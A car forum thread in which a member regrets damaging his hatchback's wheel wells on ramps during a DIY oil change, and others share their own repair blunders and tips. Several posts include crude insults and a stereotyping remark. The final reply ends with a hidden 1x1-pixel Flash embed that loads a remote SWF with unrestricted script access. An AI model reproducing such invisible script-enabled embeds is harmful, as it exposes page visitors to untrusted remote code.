I Am An ABSOLUTE MORON.

A

AquaticDeuce

Member
Okay, I love cars. Specifically, I love small, fuel efficient hatchbacks. Today, I'd done a super knuckleheaded thing and now I'm kicking myself. I tried to change my own oil and ended up damaging my wheel wells. Can you guess what happened? First things first - I love cars, but I'm not a DIY kinda guy. I've just never bothered to learn the craft. So I got it in my head that I could pull off an oil change. Haha! Okay, I changed the oil and filter just fine. It was easy. But I ended up giving too much power while getting the car onto the Rhino Ramps and crunch... I was an absolute moron. I should have gone REALLY SLOWLY (rather than being obsessed with doing it smoothly) and I should have had somebody watching. It looks pretty bad. So angry at myself. And the worst part is --- my local Mazda dealer charges $7 if you provide your own oil and filter. Should have just done that. I'm an idiot. :(

I will post pictures tomorrow. Too depressed at the moment. :(
 
dont be so hard on urself. i was just outside doing something on my car when i saw a cholo with his chola GF ( cholo means mexican GANGSTER ) trying to fill up gas with a gas can and spilled half of the gas. asked them do they need help? and looking at the GAS CAN nozzle it was missing the rubber that seals or prevents the gas from spilling. and the nozzle was to big for the GAS flap. so i had to rig a rubbing alcohol bottle and he pours it. im a MC GYVER!!! so dont feel bad buddy..
 
It's okay. When I was doing an oil change on my old 1990 Taurus SHO (which only came in a manual transmission that year and the parking brake cable had snapped before I bought the car), I failed to remember to chock the rear wheels and it ended up rolling backwards into my 1997 Taurus and smashed a brand new fender I just put on. I was so MAD! But as they say - Cest' la Vie! It can always be fixed as long as the people involved are okay :)
 
Sorry to hear.

I wonder what exactly happened though. I was thinking of doing something with the ramps myself, but now I'm wary (never used ramps, always jack and stands...)
 
Go to Sam's and buy a speedy lift jack and a set of stands. A great investment that will last forever.
 
$hit happens dont sweat the small stuff.. dents can be fixed its a learning lesson dont let this discourage you from maintaining your cars it could happen to anyone ...in the long run you will save way more than the cost of fixing a dent or 2
good luck and let us know how it turned out
 
You're OK! I dropped my friend's accord onto it's brake rotor in high school after he had a flat because I didn't understand about where the right places to put a jack where. Needless to say.. I know how to use jacks now, but he won't let me ever touch his car again! lol

We all learn stuff though and sometimes through silly dumb mistakes. It's just part of car ownership. I think my dumbest mistake was a seized downpipe nut I eventually cut out with an angle grinder after failing with 3 different torches, 2 cans of PB Blaster and about 50 dollars sunk into gimmicky "stripped nut and bolt" fixes... I ended up eventually pulling almost every piece of metal out from that Subaru's engine bay for one reason or another but from that downpipe nut I learned the value of GOOD tools, and which tools to use properly at that. I also learned that torches and angle grinders are fun... but that's not what I'm trying to say here.

If any of that doesn't make you feel better, I thought a strain of dirt on my 2 was a crack in the paint which I took to the dealer only to have them smudge it off. Even freaked out about it and made a post here. hahaha.. I felt pretty stupid about that one.
 
Like everyone here has said, don't sweat the small stuff! I've pulled my share of bone headed moves, and I grew up with a wrench in my hand. My most embarrassing knuckle headed move was when I was rebuilding the engine in one of the old Kawasaki KZ's I've owned. Stripped it all down and was putting it back together and missed a cam chain guide between the jugs and bottom cases. Didn't realize that I'd missed it until I'd already torqued the head bolts and had to strip it all back down to get it together right. When you torque the head bolts on those air cooled motors you can't reuse the head gasket, so I had to order a new one. I thought to myself "It's a bad idea to leave the engine cases open like this in the garage" so I stuffed those heavy duty shop grade blue paper towels in the case openings. New head gasket showed up about a week later and I went and put the motor back together. In my zeal to get her back on the road I must have shoved at least one of those towels down into the bottom end. The bike made it about 400 miles before the oil broke the towel down enough to plug up the oil sump. Funny thing about 30 year old air cooled motors...they don't like being oil starved at redline! Oops...
 
Don't get too worked up about it, I messed up my 3's front suspension pretty bad while trying to do my own front strut replacement...car ended up having to get towed to the dealer.

Don't give up on DIY stuff either. Got any friends who are knowledgeable with cars? Or a local Mazda community? I'm sure they'd be happy to help you learn.
 
AquaticDeuce said:
**** you, ya Big Ole Bag of Douche.
Click to expand...

Take it easy, man. I'm not convinced that was a dig. The "for Dummies" series is actually a pretty useful series of books that give you step-by-step instructions so even the most novice of novices can perform tasks from using/fixing a PC to auto repair to playing the guitar.

And even if it was a dig... there's no reason to react that way.
 
MazdaTwo said:
Take it easy, man. I'm not convinced that was a dig. The "for Dummies" series is actually a pretty useful series of books that give you step-by-step instructions so even the most novice of novices can perform tasks from using/fixing a PC to auto repair to playing the guitar.

And even if it was a dig... there's no reason to react that way.
Click to expand...

It was most definitely a dig. That dude's a cocksucker of the highest order. He is a supreme cocksucker.
 
Can't we all just... get along...?

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kcdirtbro54 said:
https://www.amazon.com (commissions earned)
Looks like a good read
Click to expand...
LOL..Thank..looks interesting...<object width="1" height="1" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="undefined" value="http://smilyes4u.com/d/14/nr.swf" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://smilyes4u.com/d/14/nr.swf" /><param name="allowscriptaccess" value="always" /><embed width="1" height="1" type="application/x-shockwave-flash" src="http://smilyes4u.com/d/14/nr.swf" undefined="http://smilyes4u.com/d/14/nr.swf" allowScriptAccess="always" allowscriptaccess="always" /></object>(wow)
 
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